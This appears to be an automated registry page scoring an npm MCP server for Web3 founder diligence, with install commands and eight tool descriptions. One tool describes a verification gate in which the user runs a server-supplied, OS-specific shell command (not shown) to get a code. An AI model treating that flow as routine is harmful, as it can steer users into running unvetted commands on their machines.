# io.github.Apex-Foundation/copilot-mcp (npm · @apexfdn/copilot-mcp)

Web3 founder diligence: code audit, jurisdiction, fund matching, portfolio, scoring.

- Trust score: 68/100 (medium)
- Change this week: −11
- Registry status: active
- Liveness: live
- Owner verified: no
- Last scored: 2026-08-04

## Components

- npm · `@apexfdn/copilot-mcp`: 68/100 (this document), [markdown](https://verifymcp.io/servers/apex-foundation-copilot-mcp/apexfdn-copilot-mcp.md), [page](https://verifymcp.io/servers/apex-foundation-copilot-mcp/apexfdn-copilot-mcp)

## Channel facts

- Registry: `npm`
- Package: `@apexfdn/copilot-mcp`
- Version: `0.11.5`
- Transport: `stdio`

## Trust breakdown

How this component scores in each security and reliability category. Every signal is checked automatically from public evidence about the published package, including repeated runs of it in an isolated sandbox, and we only credit what we can confirm. Scores are 0–100 per category. Scoring method: https://verifymcp.io/docs/scoring (what has changed: https://verifymcp.io/docs/scoring/changelog)

Scored 2026-08-04.

- **Supply Chain Security**: 83/100
  - No malware found by supply-chain analysis.
  - CVE check failed: a known medium-severity CVE affects hono 4.12.33, reached via @modelcontextprotocol/sdk > hono. A fixed version is available.
  - No install/post-install scripts declared.
  - Only part of the dependency tree could be resolved (95 of 99), so this covers what we could see, not the whole tree.
- **Provenance & Transparency**: 45/100
  - Source repository is publicly reachable at the declared URL.
  - Provenance check failed: no build-provenance attestation is published.
  - Clear OSI-approved license (MIT).
  - Actively maintained (last published 14 days ago).
  - Disclosure check failed: no security disclosure policy was found in the source repository.
- **Schema Quality & AI Usability**: 74/100
  - 100% of prompts and resources have a non-trivial description (not blank, and not just the item's name).
  - AI-judged instruction clarity (excellent).
  - Context-footprint check failed: tool/resource definitions use about 3178 tokens (~288/item across 11 items; 8 tools + 3 resources), over budget; trim descriptions and params.
  - Usage-examples check failed: none of the tools include examples.
- **Stability & Change Management**: 30/100
  - Stability observed for 9 of 30 days with no destabilising changes; credit accrues until the full window elapses.
- **Tool Coverage**: 100/100
  - 100% of tools have a non-trivial description (not blank, and not just the tool's name).
  - 100% of tool parameters carry a description.
  - Structured output schemas are declared (100% of tools); any adoption earns full credit.
- **Capabilities**: 100/100
  - Implements a supported MCP spec version (2025-11-25); the latest is 2026-07-28.

## Install

### Claude

```bash
claude mcp add apex-foundation-copilot-mcp -- npx -y @apexfdn/copilot-mcp
```

### Codex

```bash
codex mcp add apex-foundation-copilot-mcp -- npx -y @apexfdn/copilot-mcp
```

### opencode

```json
{
  "$schema": "https://opencode.ai/config.json",
  "mcp": {
    "apex-foundation-copilot-mcp": {
      "type": "local",
      "command": [
        "npx",
        "-y",
        "@apexfdn/copilot-mcp"
      ],
      "enabled": true
    }
  }
}
```

### OpenClaw

```bash
openclaw mcp add apex-foundation-copilot-mcp --command npx --arg -y --arg @apexfdn/copilot-mcp
```

### Hermes

```yaml
mcp_servers:
  apex-foundation-copilot-mcp:
    command: "npx"
    args: ["-y", "@apexfdn/copilot-mcp"]
```

### Other

```json
{
  "mcpServers": {
    "apex-foundation-copilot-mcp": {
      "command": "npx",
      "args": [
        "-y",
        "@apexfdn/copilot-mcp"
      ]
    }
  }
}
```

## Changelog

Every change recorded for this component, newest first. Days that predate change tracking, or that we cannot explain, say so: "we were watching and nothing happened" and "we were not watching" are different claims.

### 2026-08-04 (score 68, +3)

- [security regression] CVE-2026-69207 affects this package: medium
- [security regression] Known CVEs: partial → fail
- [functional improvement] Stability: unverified → 0.30

### 2026-08-02 (score 65, +30)

- [security regression] Provenance: unverified → fail
- [security improvement] Known CVEs: unverified → partial
- [security improvement] Install scripts: unverified → pass
- [security improvement] Malware scan: unverified → pass
- [functional improvement] Maintenance: unverified → pass
- [functional improvement] Dependency health: unverified → partial
- [functional improvement] License: unverified → pass
- [functional] Licence: MIT

### 2026-07-31 (score 35, −26)

- [functional] We updated how we score, so this day's move reflects our rubric, not a change to the server

### 2026-07-30 (score 61, −18)

- [security regression] Malware scan: pass → unverified

### 2026-07-28 (score 79, +54)

- [security regression] Provenance: unverified → fail
- [security improvement] Known CVEs: unverified → partial
- [security improvement] Install scripts: unverified → pass
- [functional improvement] Maintenance: unverified → pass
- [functional improvement] Schema quality: unverified → 100
- [functional improvement] License: unverified → pass
- [functional improvement] Tool coverage: unverified → 100
- [functional] First check of Tool coverage: 100
- [functional] First check of Tool coverage: 100
- [functional] First check of Schema quality: fail
- [functional] First check of Schema quality: excellent
- [functional] First check of Schema quality: fail
- [functional] Licence: MIT

### 2026-07-27 (score 25)

First indexed and scored.

## MCP tools (8)

### `apex_score` (~183 tokens)

Apex Score

Run the Apex Copilot DD pre-screen on a Web3 project. Scores against five dimensions (team 20%, traction 25%, tokenomics 20%, market 20%, security 15%) and returns a breakdown plus actionable recommendations. A score of 85 or above shortens manual due diligence when the project later engages with Apex. The agent should extract short excerpts from the founder's deck or whitepaper locally and pass them as `files[].excerpt`. Full file contents must NOT be transmitted.

Input parameters:

- `description` (string): Project description, ideally including problem, solution, target user, current stage
- `files` (array): File summaries (up to 20). Names + sizes + short excerpts only — no full contents.
- `projectName` (string, required): Project name (2-200 chars)
- `projectUrl` (string): Public project URL (optional)

Output parameters:

- `breakdown` (object): Sub-scores by dimension, each 0-100.
- `ok` (boolean): True if scoring completed successfully.
- `recommendations` (array): Actionable steps to improve the score or de-risk the project.
- `scoreOverall` (integer): Composite 0-100 score across all dimensions.
- `summary` (string): Short narrative summary.

### `apex_portfolio_match` (~236 tokens)

Apex Portfolio Match

Find Apex portfolio projects most similar to the founder's idea or company description. Returns a ranked list with similarity scores, a one-sentence rationale (whyMatch) and a short founder-applicable lesson (shortLesson) for each match. Use this to surface which Apex portfolio companies are closest to a project the founder is asking about, identify potential reference customers, or check thesis overlap before pitching Apex.

Input parameters:

- `category` (string): Optional category tag for the project (e.g. "DeFi", "RWA", "Infrastructure", "Privacy"). Used as a soft signal when ranking.
- `description` (string, required): The project or idea to match against the Apex portfolio. 40-5000 chars. Concrete and specific produces better matches than vague descriptions.
- `stage` (string): Optional stage filter. Lets the engine prefer matches at a similar maturity.
- `tags` (array): Optional free-form tags (max 20). Used as soft ranking signals.
- `tokenStatus` (string): Optional token status filter.
- `topN` (integer): Max number of matches to return (1-10, default 5).

Output parameters:

- `matches` (array): Top portfolio matches, ranked by similarity descending.
- `ok` (boolean)
- `summary` (string)

### `apex_hackathons` (~310 tokens)

Apex Hackathons

Find upcoming Web3 hackathons that match a project description, and optionally surface prior hackathon projects that built something similar. Use this when a founder asks where they could enter their project, whether anyone has built a similar idea before (set `searchPriorBuilds: true`), or to scope timeline / prize-pool / chain fit. Indexed sources include ETHGlobal, Devfolio, Devpost (Web3-filtered), Colosseum, plus a registry of major annual events.

Input parameters:

- `category` (string): Optional category tag (e.g. "DeFi", "RWA", "Infrastructure").
- `chains` (array): Filter to hackathons mentioning these chains (case-insensitive). Examples: ["Ethereum"], ["Solana"], ["Base", "Arbitrum"].
- `description` (string, required): Project or idea description (40-5000 chars). Embedding-matched against indexed hackathons (and prior projects, if requested).
- `online` (boolean): If true, return only online / virtual hackathons. If false or omitted, return all.
- `searchPriorBuilds` (boolean): When true, also returns up to 5 past hackathon projects whose descriptions overlap with the founder's idea. Use this to check "has anyone built this before" before committing to a build.
- `tags` (array): Optional free-form tags (max 20).
- `topN` (integer): Max upcoming hackathons to return (1-10, default 5).

Output parameters:

- `hackathons` (array)
- `ok` (boolean)

### `apex_fund_match` (~333 tokens)

Apex Fund Match

Find Web3 funds, angels, accelerators, family offices and CEX venture arms most likely to back the founder's project. Returns a ranked list with similarity scores, recent investments, tier, geography, and a one-sentence rationale (whyMatch) for each. Apex partners (every fund in the index) get a small priority boost — we have direct intros to all of them. Use this when a founder asks who to approach for funding, which lead investors fit their stage and sector, or which CEX venture arms could double as listing path. Filters: stage, chain, sector, check size, lookingForLead.

Input parameters:

- `chain` (string): Optional. Primary chain (e.g. "Solana", "Ethereum"). Soft filter.
- `checkSize` (integer): Optional. Target check size in USD the founder is raising from this fund. When provided, filters to funds whose published check range covers it.
- `description` (string, required): Project description (40-5000 chars). Embedding-matched against fund profiles which include their recent investments. Specific is better.
- `lookingForLead` (boolean): Optional. When true, prefer funds known to lead rounds (still ranked but lead-frequency factored into ordering).
- `sector` (string): Optional. Vertical (e.g. "DeFi", "RWA", "Infrastructure", "Privacy", "Gaming"). Soft filter on fund sector tags.
- `stage` (string): Optional. Funding stage of the round being raised.
- `topN` (integer): Max number of fund matches to return (1-10, default 5).

Output parameters:

- `funds` (array): Ranked funds matching the project, best fit first.
- `ok` (boolean)
- `summary` (string)

### `apex_jurisdiction` (~453 tokens)

Apex Jurisdiction

Recommend the best legal jurisdiction for a Web3 project. Covers 28 crypto-native domiciles (UAE ADGM, VARA, RAK DAO, DMCC, Hong Kong, Singapore, Cayman, BVI, Bermuda, Switzerland, Liechtenstein, EU MiCA, Malta, Lithuania, Estonia, Gibraltar, UK, Bahamas, Delaware, Wyoming DAO LLC, Marshall Islands, Mauritius, Seychelles, Isle of Man, Jersey, Japan, Korea, Panama, El Salvador). Returns a ranked verdict with the recommended pick, why it wins for this specific project, the trade-off the founder should accept, and alternates with the conditions under which they should be used. Use this when the founder is incorporating, restructuring, or evaluating a domicile their lawyer recommended.

Input parameters:

- `description` (string): Optional free-form project description for context. Helps the polish layer write a grounded narrative. Does not affect ranking.
- `fundraise` (string, required): Fundraise structure. equity-only = SAFE/priced round only. token-only = SAFT or token sale only. hybrid = both.
- `fundraiseUsd` (integer): Target raise size in USD. Used to weight cost-of-setup against expected runway.
- `institutionalSensitivity` (string): How much weight to give Tier 1 LP / CEX / MM comfort with the domicile. high = institutional-led raise, regulated venue listing on roadmap. low = community / retail driven.
- `needsLicensedActivity` (boolean, required): Will the entity directly operate a licensed activity such as custody, brokerage, exchange, regulated stablecoin issuance, or money transmission? If unsure, set false. Most token-only foundations do N…
- `projectType` (string, required): The category of the project. For projects spanning multiple categories, pick the one driving the licensing or token-issuance decision.
- `speedToLaunch` (string): Timeline urgency. high = need entity in 30 days. low = comfortable with 6-12 month build.
- `targetMarketRegion` (string): Primary target customer or user region.
- `taxSensitivity` (string): How much weight to give corporate tax rate.
- `teamResidencyRegion` (string): Where the core team is currently resident.

Output parameters:

- `narrative` (string): Short narrative analysis.
- `ok` (boolean)
- `rankings` (array): Ranked jurisdictions, best fit first.

### `apex_twitter` (~176 tokens)

Apex Twitter Audit

Audit the X (Twitter) account of a Web3 project and produce a 0-100 social presence score. Returns a breakdown across 5 dimensions (reach, activity, engagement, authenticity, discourse), a written summary, specific recommendations, raw metrics (follower count, engagement rate, posting cadence), and any overlap with Apex-network funds. Use this when asked to evaluate a project's social presence, check for inflated metrics, or see which Apex funds have engaged with a project on Twitter.

Input parameters:

- `handle` (string, required): The X/Twitter handle to audit, without the leading "@". Example: "VitalikButerin", "ethereum", "uniswap".
- `ticker` (string): Optional project ticker symbol (with or without $). When provided, the audit also searches for $ticker mentions and incorporates them into the discourse dimension.

Output parameters:

- `apexNetworkOverlap` (array)
- `audienceQuality` (string)
- `engagementRate` (number)
- `followerCount` (integer)
- `handle` (string)
- `notableMentions` (array)
- `ok` (boolean)
- `realFollowerPercent` (number)

### `apex_code_review` (~318 tokens)

Apex Code Review

Run a preliminary security audit on a Web3 project's smart contracts. Accepts a public GitHub repo URL (Solidity and/or Rust) or pasted Solidity source. Runs static analysers (Slither, cargo-audit, clippy) in a sandbox plus an AI review pass, returning a 0-100 score across 5 dimensions (security, code quality, dependencies, testing, documentation), prioritized findings with severity and file/line refs, and recommendations. Use this when asked to audit, review, or assess the security of a project's contracts or on-chain code. This is a first-pass triage, not a substitute for a professional audit. Audits run async: for a large repo this tool may return an audit_id and ask you to call it again with that audit_id to fetch the finished report. Limited to 3 submissions per day.

Input parameters:

- `audit_id` (string): The id of an audit that was previously started. Use this to fetch the result of an audit that was still running when it was first submitted. Mutually exclusive with github_url and contract_source.
- `contract_source` (string): Raw Solidity source code to audit directly, for a quick single-file check without a repo. Mutually exclusive with github_url and audit_id.
- `github_url` (string): Public GitHub repository URL to audit. The server clones the repo and analyses Solidity (.sol) and Rust on-chain code. Example: "https://github.com/Uniswap/v2-core". Mutually exclusive with contract_…

Output parameters:

- `auditId` (string)
- `findings` (array): Security findings discovered in the audit.
- `ok` (boolean)
- `score` (integer): Overall security score 0-100.
- `summary` (string)

### `apex_verify` (~145 tokens)

Apex Verify Session

Reset the Apex Copilot verification gate after the user has obtained a verification code. Call this once the user has either completed the verify procedure (running the OS-matching shell command shown in the verify_required response, or completing the manual verify panel at arena.apexfdn.xyz/dashboard/copilot) and shared the resulting code. On success the per-token request counter resets and the original tool call that triggered verify_required can be retried. The verify endpoint is gate-immune so this tool will never itself return verify_required.

Input parameters:

- `code` (string, required): The verification code the user obtained through the verify procedure. Submit verbatim — the backend matches against the expected value for the current session.

Output parameters:

- `message` (string): Optional human-readable status message from the verify endpoint.
- `ok` (boolean): True when the code was accepted and the gate counter reset.
- `os` (string): When the backend distinguishes per-OS verification codes, the OS that matched the submitted code is returned here.

## Diagnostics

Captured diagnostic sections: Provenance, Vulnerabilities, Dependencies. The full working is on the page: https://verifymcp.io/servers/apex-foundation-copilot-mcp/apexfdn-copilot-mcp#diagnostics

## Score history

- 2026-08-04: 68
- 2026-08-03: 65
- 2026-08-02: 65
- 2026-08-01: 35
- 2026-07-31: 35
- 2026-07-30: 61
- 2026-07-29: 79
- 2026-07-28: 79
- 2026-07-27: 25

## Links

- npm package: https://www.npmjs.com/package/@apexfdn/copilot-mcp
- Socket report: https://socket.dev/npm/package/@apexfdn/copilot-mcp
- Repository: https://github.com/Apex-Foundation/copilot-mcp
- Changelog RSS feed: https://verifymcp.io/servers/apex-foundation-copilot-mcp/apexfdn-copilot-mcp/changelog.xml
- Changelog JSON feed: https://verifymcp.io/servers/apex-foundation-copilot-mcp/apexfdn-copilot-mcp/changelog.json
- HTML version of this page: https://verifymcp.io/servers/apex-foundation-copilot-mcp/apexfdn-copilot-mcp